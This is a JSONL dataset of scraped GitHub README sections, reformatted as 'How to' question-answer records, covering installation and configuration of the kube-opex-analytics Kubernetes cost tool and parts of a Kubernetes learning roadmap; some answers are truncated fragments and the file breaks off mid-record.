{"id": "gh_17d4d2deba2f", "question": "How to: Install with Kustomize (Quick Start)", "question_body": "About rchakode/kube-opex-analytics", "answer": "> **OpenShift users:** Skip this section and use [Helm installation](#install-with-helm-advanced) with OpenShift-specific settings.\n\n```bash", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": true, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766907"}
{"id": "gh_0b461abdfbfe", "question": "How to: Deploy using Kustomize", "question_body": "About rchakode/kube-opex-analytics", "answer": "kubectl apply -k ./manifests/kustomize -n kube-opex-analytics", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766912"}
{"id": "gh_b5efa92e54ca", "question": "How to: Install with Helm (Advanced)", "question_body": "About rchakode/kube-opex-analytics", "answer": "For advanced customization (OpenShift, custom storage, etc.), edit `manifests/helm/values.yaml`:\n\n- **OpenShift:** Set `securityContext.openshift: true`\n- **Custom storage:** Set `dataVolume.storageClass` and `dataVolume.capacity`\n- **DCGM Integration:** Set `dcgm.enable: true` and `dcgm.endpoint`\n\nThen run:\n\n```bash", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": true, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766918"}
{"id": "gh_420533b7b943", "question": "How to: Install with Helm", "question_body": "About rchakode/kube-opex-analytics", "answer": "helm upgrade --install kube-opex-analytics ./manifests/helm -n kube-opex-analytics", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766924"}
{"id": "gh_5fb2a8a995c1", "question": "How to: Port-forward to access the UI", "question_body": "About rchakode/kube-opex-analytics", "answer": "kubectl port-forward svc/kube-opex-analytics 5483:80 -n kube-opex-analytics", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766930"}
{"id": "gh_52dd84bd1cd9", "question": "How to: Install with Docker", "question_body": "About rchakode/kube-opex-analytics", "answer": "Requires `kubectl proxy` running locally to provide API access:\n\n```bash", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": true, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766935"}
{"id": "gh_5f73d4834910", "question": "How to: Run kube-opex-analytics", "question_body": "About rchakode/kube-opex-analytics", "answer": "docker run -d \\\n  --net=\"host\" \\\n  --name kube-opex-analytics \\\n  -v /var/lib/kube-opex-analytics:/data \\\n  -e KOA_DB_LOCATION=/data/db \\\n  -e KOA_K8S_API_ENDPOINT=http://127.0.0.1:8001 \\\n  rchakode/kube-opex-analytics", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766941"}
{"id": "gh_8dc312efe637", "question": "How to: Architecture", "question_body": "About rchakode/kube-opex-analytics", "answer": "```\n┌───────────────────┐\n│  Metrics Server   │──┐\n│  (CPU/Memory)     │  │    ┌──────────────────────────────────────┐\n└───────────────────┘  ├───>│         kube-opex-analytics          │\n┌───────────────────┐  │    │  ┌─────────┐  ┌────────┐  ┌─────────┐│\n│  DCGM Exporter    │──┘    │  │ Poller  │─>│RRD DBs │─>│ API     ││\n│  (GPU metrics)    │       │  │ (5 min) │  │        │  │         ││\n└───────────────────┘       │  └─────────┘  └────────┘  └────┬────┘│\n                            └───────────────────────────────┼──────┘\n                                                            │\n                            ┌───────────────────────────────┼──────┐\n                            │                               v      │\n                            │  ┌────────────┐    ┌────────────┐    │\n                            │  │  Web UI    │    │  /metrics  │    │\n                            │  │  (D3.js)   │    │ (Prometheus│    │\n                            │  └────────────┘    └────────────┘    │\n                            └──────────────────────────────────────┘\n                                     │                  │\n                                     v                  v\n                              Built-in Dashboards   Grafana/Alerting\n```\n\n**Data Flow:**\n1. Metrics polled every 5 minutes (configurable):\n   - CPU/Memory from Kubernetes Metrics Server\n   - GPU from NVIDIA DCGM Exporter\n2. Metrics are processed and stored in internal lightweight time-series databases (round-robin DBs)\n3. Data is consolidated into hourly, daily, and monthly aggregates\n4. API serves data to the built-in web UI and Prometheus scraper", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 459, "answer_score": 10, "has_code": true, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766953"}
{"id": "gh_1891f063f91c", "question": "How to: Documentation", "question_body": "About rchakode/kube-opex-analytics", "answer": "| Topic | Link |\n|-------|------|\n| Installation on Kubernetes/OpenShift | [docs/installation-on-kubernetes-and-openshift.md](./docs/installation-on-kubernetes-and-openshift.md) |\n| Installation on Docker | [docs/installation-on-docker.md](./docs/installation-on-docker.md) |\n| Built-in Dashboards | [docs/built-in-dashboards-and-charts.md](./docs/built-in-dashboards-and-charts.md) |\n| Prometheus & Grafana | [docs/prometheus-exporter-grafana-dashboard.md](./docs/prometheus-exporter-grafana-dashboard.md) |\n| Configuration Reference | [docs/configuration-settings.md](./docs/configuration-settings.md) |\n| Design Fundamentals | [docs/design-fundamentals.md](./docs/design-fundamentals.md) |", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766960"}
{"id": "gh_794980744a0c", "question": "How to: Configuration", "question_body": "About rchakode/kube-opex-analytics", "answer": "Key environment variables:\n\n| Variable | Description | Default |\n|----------|-------------|---------|\n| `KOA_K8S_API_ENDPOINT` | Kubernetes API server URL | Required |\n| `KOA_K8S_AUTH_TOKEN` | Service account token | Auto-detected in-cluster |\n| `KOA_DB_LOCATION` | Path for RRDtool databases | `/data` |\n| `KOA_POLLING_INTERVAL_SEC` | Metrics collection interval | `300` |\n| `KOA_COST_MODEL` | Billing model (`CUMULATIVE_RATIO`, `RATIO`, `CHARGE_BACK`) | `CUMULATIVE_RATIO` |\n| `KOA_BILLING_HOURLY_RATE` | Hourly cost for chargeback model | `-1.0` |\n| `KOA_BILLING_CURRENCY_SYMBOL` | Currency symbol for cost display | `$` |\n| `KOA_NVIDIA_DCGM_ENDPOINT` | NVIDIA DCGM Exporter endpoint for GPU metrics | Not set (GPU disabled) |", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766967"}
{"id": "gh_025a56f27952", "question": "How to: GPU Metrics (NVIDIA DCGM)", "question_body": "About rchakode/kube-opex-analytics", "answer": "To enable GPU metrics collection, set the DCGM Exporter endpoint:\n\n```bash", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": true, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766971"}
{"id": "gh_fb10c349b210", "question": "How to: Environment variable", "question_body": "About rchakode/kube-opex-analytics", "answer": "export KOA_NVIDIA_DCGM_ENDPOINT=http://dcgm-exporter.gpu-operator:9400/metrics", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766976"}
{"id": "gh_d6fef49bf5f1", "question": "How to: Or with Helm", "question_body": "About rchakode/kube-opex-analytics", "answer": "helm upgrade --install kube-opex-analytics ./manifests/helm \\\n  --set dcgm.enabled=true \\\n  --set dcgm.endpoint=http://dcgm-exporter.gpu-operator:9400/metrics\n```\n\nSee [Configuration Settings](./docs/configuration-settings.md) for the complete reference.", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 459, "answer_score": 10, "has_code": true, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766981"}
{"id": "gh_9dfb08c92fda", "question": "How to: Common Issues", "question_body": "About rchakode/kube-opex-analytics", "answer": "**Pod stuck in CrashLoopBackOff**\n- Check logs: `kubectl logs -f deployment/kube-opex-analytics -n kube-opex-analytics`\n- Verify RBAC permissions are correctly applied\n- Ensure the service account has read access to pods and nodes\n\n**No data appearing in dashboard**\n- Wait at least 5-10 minutes for initial data collection\n- Verify the pod can reach the Kubernetes API: check for connection errors in logs\n- Confirm `KOA_K8S_API_ENDPOINT` is correctly set\n\n**Metrics not appearing in Prometheus**\n- Ensure the `/metrics` endpoint is accessible\n- Check ServiceMonitor/PodMonitor configuration if using Prometheus Operator\n- Verify network policies allow Prometheus to scrape the pod\n\n**Pooling interval**\n- By default, the polling interval to collect raw metrics from Kubernetes API or NVIDIA DCGM is 300 seconds (5 minutes).\n- You can increase this limit using the variable `KOA_POLLING_INTERVAL_SEC`. Always use a multiple  300 seconds, as the backend RRD database is based on a 5-minutes resolution.", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766989"}
{"id": "gh_10db284bf490", "question": "How to: Getting Help", "question_body": "About rchakode/kube-opex-analytics", "answer": "- Check existing [GitHub Issues](https://github.com/rchakode/kube-opex-analytics/issues)\n- Review the [Design Fundamentals](./docs/design-fundamentals.md) for architectural context", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766994"}
{"id": "gh_9355527832ad", "question": "How to: Support & Contributions", "question_body": "About rchakode/kube-opex-analytics", "answer": "We welcome feedback and contributions!\n\n- **Report Issues:** [GitHub Issues](https://github.com/rchakode/kube-opex-analytics/issues)\n- **Contribute Code:** [Pull Requests](https://github.com/rchakode/kube-opex-analytics/pulls)\n\nAll contributions must be released under Apache 2.0 License terms.", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.767000"}
{"id": "gh_d2446bf12b1f", "question": "How to: 🎖️ Credits: [DevOpsCude](https://devopscube.com)", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "> 💚 Thanks for the Beautiful article from [Bibin](https://devopscube.com/author/bibinwilson/) ✍️ | [Orginal Blog/Post](https://devopscube.com/learn-kubernetes-complete-roadmap)\n\n![k8s](https://imgur.com/G3CQTK4.png)\n\nThe Kubernetes Learning Roadmap is constantly updated with new content, so you can be sure that you're getting the latest and most up-to-date information available.\n\n![k8s-roadmap](https://imgur.com/OLMdlsr.png)", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376646"}
{"id": "gh_322c9cf3b3da", "question": "How to: Table of Contents", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "- [Kubernetes Learning Roadmap](#kubernetes-learning-roadmap)\n- [Kubernetes Learning Prerequisites](#kubernetes-learning-prerequisites)\n- [Learn Kubernetes Architecture](#learn-kubernetes-architecture)\n- [$1000+ Free Cloud Credits to Launch Clusters](#1000-free-cloud-credits-to-launch-clusters)\n- [The Best Resources to Learn Kubernetes Online](#the-best-resources-to-learn-kubernetes-online)\n- [Learn Kubernetes Cluster Setup & Administration](#learn-kubernetes-cluster-setup--administration)\n- [Understand KubeConfig File](#understand-kubeconfig-file)\n- [Understand Kubernetes Objects And Resources](#understand-kubernetes-objects-and-resources)\n- [Learn About Pod & Associated Resources](#learn-about-pod--associated-resources)\n- [Learn About Pod Dependent Objects](#learn-about-pod-dependent-objects)\n- [Deploy End to End Application on Kubernetes](#deploy-end-to-end-application-on-kubernetes)\n- [Learn About Securing Kubernetes Cluster](#learn-about-securing-kubernetes-cluster)\n- [Learn About Kubernetes Operator Pattern](#learn-about-kubernetes-operator-pattern)\n- [Learn Important Kubernetes Configurations](#learn-important-kubernetes-configurations)\n- [Learn Kubernetes Production Best Practices](#learn-kubernetes-production-best-practices)\n- [Real-World Kubernetes Case Studies](#real-world-kubernetes-case-studies)\n- [Kubernetes Failures/Learnings](#kubernetes-failureslearnings)\n- [Kubernetes Deployment Tools (GitOps Based)](#kubernetes-deployment-tools-gitops-based)\n\n---", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376662"}
{"id": "gh_a3448f3174e3", "question": "How to: Additional New Section 2024 - Table of Contents", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "1. [Advanced Kubernetes Networking](#1-advanced-kubernetes-networking)\n   - [Service Mesh Overview](#service-mesh-overview)\n   - [Network Policies Deep Dive](#network-policies-deep-dive)\n   - [Ingress Controllers Comparison](#ingress-controllers-comparison)\n2. [Kubernetes Observability and Monitoring](#2-kubernetes-observability-and-monitoring)\n   - [Monitoring Setup](#monitoring-setup)\n   - [Distributed Tracing](#distributed-tracing)\n   - [Log Aggregation](#log-aggregation)\n3. [Advanced Cluster Management and Maintenance](#3-advanced-cluster-management-and-maintenance)\n   - [Automated Scaling](#automated-scaling)\n   - [Backup and Disaster Recovery](#backup-and-disaster-recovery)\n   - [Cluster Upgrades](#cluster-upgrades)\n4. [Security Best Practices](#4-security-best-practices)\n   - [Zero-Trust Networking](#zero-trust-networking)\n   - [Securing Workloads with Pod Security Policies (PSP)](#securing-workloads-with-pod-security-policies-psp)\n   - [Image Security](#image-security)\n   - [Secrets Management](#secrets-management)\n5. [Application Deployment Strategies](#5-application-deployment-strategies)\n   - [Advanced GitOps](#advanced-gitops)\n   - [Blue-Green Deployments](#blue-green-deployments)\n   - [Canary Releases](#canary-releases)\n6. [Troubleshooting Kubernetes Clusters](#6-troubleshooting-kubernetes-clusters)\n   - [Common Issues and Solutions](#common-issues-and-solutions)\n   - [Kubernetes Debugging Tools](#kubernetes-debugging-tools)\n   - [CrashLoopBackOff and OOMKill Handling](#crashloopbackoff-and-oomkill-handling)\n7. [Additional Resources](#7-additional-resources)\n   - [Certification Study Guides](#certification-study-guides)\n   - [Community and News Sources](#community-and-news-sources)", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376673"}
{"id": "gh_efdf39ef2e03", "question": "How to: Kubernetes Learning Roadmap", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "**Learning Kubernetes** can seem overwhelming. It’s a complex container orchestration system, that has a steep learning curve. But with the right roadmap and understanding of the foundational concepts, it’s something that any developer or ops person can learn.\n\nIn this Kubernetes learning roadmap, I have added prerequisites and complete **Kubernetes learning path** covering basic to advanced Kubernetes concepts.", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376681"}
{"id": "gh_4e530b2786e3", "question": "How to: Kubernetes Learning Prerequisites", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "Before jumping into learning kubernetes, you need to have a fair amount of knowledge of some of the underlying technologies and concepts.\n\n1. **Distributed system**: Learn about distributed system basics & their use cases in modern IT infrastructure. CAP theorem is good to have knowledge.\n\n2. **Authentication & Authorization**: A very basic concept in IT. However, engineers starting their careers tend to get confused. So please get a good understanding of learning from analogies. You will quite often see these terms in Kubernetes.\n\n3. **Key Value Store**: It is a type of NoSQL Database. Understand just enough basics and their use cases.\n\n4. **API**: Kubernetes is an API-driven system. So you need to have an understanding of RESTFUL APIs. Also, try to understand gRPC API. It’s good to have knowledge.\n\n5. **YAML**: YAML stands for YAML Ain’t Markup Language. It is a data serialization language that can be used for data storage and configuration files. It’s very easy to learn and from a Kubernetes standpoint, we will use it for configuration files. So understanding YAML syntax is very important.\n\n6. **Container**: Container is the basic building block of kubernetes.The primary work of Kubernetes is to orchestrate containers. You need to learn all the container basics and have hands-on experience working on container tools like Docker or Podman. I would also suggest reading about Open container initiative and Container Runtime Interface (CRI)\n\n7. **Service Discovery**: It is one of the key areas of Kubernetes. You need to have basic knowledge of client-side and server-side service discovery. To put it simply, in client-side service discovery, the request goes to a service registry to get the endpoints available for backend services. In server-side service discovery, the request goes to a load balancer and the load balancer uses the service registry to get the ending of backend services.\n\n8. **Networking Basis**\n    - CIDR Notation & Type of IP Addresses\n    - L3, L4 & L7 Layers (OSI Layers)\n    - SSL/TLS: One way & Mutual TLS\n    - Proxy\n    - DNS\n    - IPTables\n    - IPVS\n    - Software Defined Networking (SDN)\n    - Virtual Interfaces\n    - Overlay networking\n\n![prerequisites](https://imgur.com/USHAHYZ.png)", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 408, "answer_score": 10, "has_code": true, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376695"}
{"id": "gh_feaad3575511", "question": "How to: Learn Kubernetes Architecture", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "Understanding Kubernetes architecture is not an easy task. The system has many moving parts that need to be understood in order for you to get a grip on what’s happening beneath the surface. While learning architecture, you will come across the concepts we discuss in the prerequisites.\n\nAs Kubernetes is a complex system, trying to understand the core architecture could be a little overwhelming for DevOps Engineers. As you get more hands-on experience, you would be able to understand the core architecture better.\n\nHere is my suggestion. Learn the high-level architecture and key components involved in Kubernetes. If you are not able to grasp the concept, either you can spend time and do more research on a specific topic or you can learn the concept while doing hands-on. It’s your choice.\n\nCheck out the Kubernetes Architecture guide to learn about all the Kubernetes components in detail.\n\nOverall you need to learn the following:\n\n1. **Control plane components**: Understand the role of each component like API server, etcd, Scheduler, and Controller manager.\n\n2. **Worker node components**: Learn about Kube Proxy, Kubelet, Container Runtime\n\n3. **Addon Components**: CoreDNS, Network plugins (Calico, weave, etc), Metric Server\n\n4. **Cluster high availability**: Most organizations use managed Kubernetes services (GKE, EKS, AKS, etc). So the cloud provider takes care of the cluster’s control plane’s high availability. However, it is very important to learn the high availability concepts in scaling the cluster in multi zones and regions. It will help you in real-time projects and devops interviews.\n\n5. **Network Design**: While it is easy to set up a cluster in an open network without restrictions, it is not that easy in a corporate network. As a DevOps engineer, you should understand the Kubernetes network design and requirements so that you can collaborate with the network team better. For example, When I was working with kubernetes setup on Google cloud, we used a CIDR pod range that was not routable in the corporate network. As a workaround, we had to deploy IP masquerading for the pod network.", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376708"}
{"id": "gh_123f93819cd7", "question": "How to: $1000+ Free Cloud Credits to Launch Clusters", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "Deploying big clusters on the cloud could be expensive. So make use of the following cloud credits and learn to launch clusters as if you would on a real-time project. All platforms offer managed k8s services.\n\n1. **GKE** (Google Cloud – $300 free credits)\n2. **EKS** (AWS – $300 free POC credits)\n3. **DO Kubernetes** (Digital Ocean – $200 free credits)\n4. **Linode Kubernetes Engine** (Linode Cloud – $100 Free credits)\n5. **Vultr Kubernetes Engine** (Vultr Cloud – $250 Free Credits)\n\nUse one account at a time. Once the credits are expired. move to the next account. You need to keep a watch on your credits as well as expiry. Or else you could get charged. Also, check the terms and instance usage limits if any.\n\nAlso, setting up servers on this platform is very easy and every cloud provider had extensive documentation to get started.\n\n---", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376717"}
{"id": "gh_8f18ec176fc5", "question": "How to: The Best Resources to Learn Kubernetes Online", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "Here are some of the best online resources to learn Kubernetes practically:", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376723"}
{"id": "gh_ef9eac1ffcce", "question": "How to: 1️. The Official Kubernetes Basics Tutorial", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "The official **[Kubernetes website](https://kubernetes.io/docs/tutorials/kubernetes-basics/)** offers browser-based, hands-on tutorials powered by Katacoda scenarios. It covers:  \n\n- Kubernetes Basics  \n- Configurations  \n- Stateless & Stateful Application Deployment  \n- Services & Networking  \n- Security & Access Control  \n\n![image](https://imgur.com/xUAB1KN.png)\n\n🔹 You can also explore the **[official Kubernetes tasks](https://kubernetes.io/docs/tasks/)** for hands-on experience with real-world Kubernetes implementations. This will also help in preparing for Kubernetes certifications.", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376733"}
{"id": "gh_e6f240ff8365", "question": "How to: 2️. DevOpsCube Kubernetes Tutorials", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "The **[DevOpsCube Kubernetes Tutorials](https://devopscube.com/category/kubernetes/)** provide 35+ hands-on guides covering:  \n\n- Kubernetes Architecture  \n- Cluster Setup & Deployments  \n- Best Practices  \n- Package & Secret Management  \n- Monitoring & Logging", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376740"}
{"id": "gh_77f692f03a76", "question": "How to: 3️. KillerCoda Interactive Tutorials", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "For a fully interactive **browser-based learning** experience, **[KillerCoda](https://killercoda.com/kubernetes)** offers scenario-based Kubernetes playgrounds, where you can practice commands and learn in real-time.  \n\n![image](https://imgur.com/tqMY0bz.png)", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376746"}
{"id": "gh_c0be9ee8745c", "question": "How to: Learn Kubernetes Cluster Setup & Administration", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "**Kubernetes Cluster Setup**\n\nAs DevOps engineers, it is very important to learn every component and cluster configuration. While there are many options to deploy a Kubernetes cluster, It is always better to learn to deploy multi-node clusters from scratch.\n\nWith multi-node clusters, you can learn about all the concepts like Cluster security, High Availability, Scaling, Networking, etc.\n\nIt gives you the feeling of working on a real-world project. It will also help you in interviews and you can be confident about production-level cluster configurations.\n\nFollowing are my cluster setup suggestions.\n\n1. **Kubernetes the Hard Way**: I would suggest you start with Kubernetes the hard way set up. It helps you understand all the configurations involved in bootstrapping a kubernetes cluster. If you want to work on production clusters, this lab will help you a lot. The setup is based on google cloud. You can use the $300 free credits to complete the lab.\n\n2. **Kubeadm Cluster Setup**: Learning kubeadm cluster setup helps you in Kubernetes certification preparation. Also, it helps you automate Kubernetes cluster setup with best practices.\n\n3. **Minikube**: If you want to have a minimal development cluster setup, minikube is the best option.\n\n4. **Kind**: Kind is another local development Kubernetes cluster setup.\n\n5. **Vagrant Automated Kubernetes**: If you prefer to have a multi-VM-based local Kubernetes cluster setup, you can try the automated vagrant setup that uses Kubeadm to bootstrap the cluster.\n\n**Learn About Cluster Configurations**\n\nOnce you have a working cluster, you should learn about the key cluster configurations. This knowledge will be particularly helpful when working in a self-hosted Kubernetes setup.\n\nEven if you use a managed Kubernetes cluster for your project, there may be certain cluster configurations that you need to modify.\n\nFor example, if you set up a cluster in a hybrid network, you may need to configure it with an on-premises private DNS server for private DNS resolution. This can be done via CoreDNS configuration.\n\nAlso, having a solid understanding of cluster configurations will help you with Kubernetes certifications (CKA & CKS) where you need to troubleshoot cluster misconfiguration and issues.", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376756"}
{"id": "gh_5004d7aebd62", "question": "How to: Understand KubeConfig File", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "`Kubeconfig` file is a YAML file that contains all the cluster information and credentials to connect to the cluster.\n\nAs a Devops Engineer, You should learn to connect to kubernetes clusters in different ways using the Kubeconfig file. Because you will be responsible for setting up cluster authentication for CI/CD systems, providing cluster access to developers, etc.\n\nSo spend some time, understanding the Kubeconfig file structure and associated parameters.", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376763"}
{"id": "gh_165211b66d2c", "question": "How to: Understand Kubernetes Objects And Resources", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "You will quite often come across the names **“Kubernetes Object”** and **“Kubernetes Resource“**\n\nFirst, you need to Understand the difference between an object and a resource in kubernetes.\n\nTo put it simply, anything a user creates and persists in Kubernetes is an object. For example, a namespace, pod, Deployment configmap, Secret, etc.\n\nBefore creating an object, you represent it in a YAML or JSON format. It is called an **Object Specification (Spec)**. You declare the desired state of the object on the Object Spec. Once the object is created, you can retrieve its details from the Kubernetes API using Kubectl or client libraries.\n\nAs we discussed earlier in the prerequisite section, everything in Kubernetes is an API. To create different object types, there are API endpoints provided by the Kubernetes API server. Those object-specific api-endpoints are called resources. For example, an endpoint to create a pod is called a pod resource.\n\nSo when you try to create a Kubernetes Object using Kubectl, it converts the YAML spec to JSON format and sends it to the Pod resource (Pod API endpoint).", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376772"}
{"id": "gh_c061a2c411b7", "question": "How to: Learn About Pod & Associated Resources", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "Once you have an understanding of Kubernetes Objects and resources, you can start with a native Kubernetes object called Pod. A pod is a basic building block of Kubernetes.\n\nYou should learn all the Pod concepts and their associated objects like Service, Ingress, Persistent Volume, Configmap, and Secret. Once you know everything about a pod, it is very easy to learn other pod-dependent objects like deployments, Daemonset, etc.\n\nFirst, learn about the Pod Resource Definition (YAML). A typical Pod YAML contains the following high-level constructs.\n\n- Kind\n- Metadata\n- Annotations\n- Labels\n- Selectors\n\nOnce you have a basic understanding of the above, move on to hands-on learning. These concepts will make more sense when you do hands-on.\n\nFollowing are the hands-on tasks to learn about Pod and its associated objects.\n\n1. Deploy a pod\n2. Deploy pod on the specific worker node\n3. Add service to pod\n4. Expose the pod Service using Nodeport\n5. Expose the Pod Service using Ingress\n6. Setup Pod resources & limits\n7. Setup Pod with startup, liveness, and readiness probes.\n8. Add Persistent Volume to the pod.\n9. Attach configmap to pod\n10. Add Secret to pod\n11. multi-container pods (sidecar container pattern)\n12. Init containers\n13. Ephemeral containers\n14. Static Pods\n15. Learn to troubleshoot Pods\n\nFew advanced pod scheduling concepts.\n\n1. Pod Preemption & Priority\n2. Pod Disruption Budget\n3. Pod Placement Using a Node Selector\n4. Pod Affinity and Anti-affinity\n5. Container Life Cycle Hooks", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": 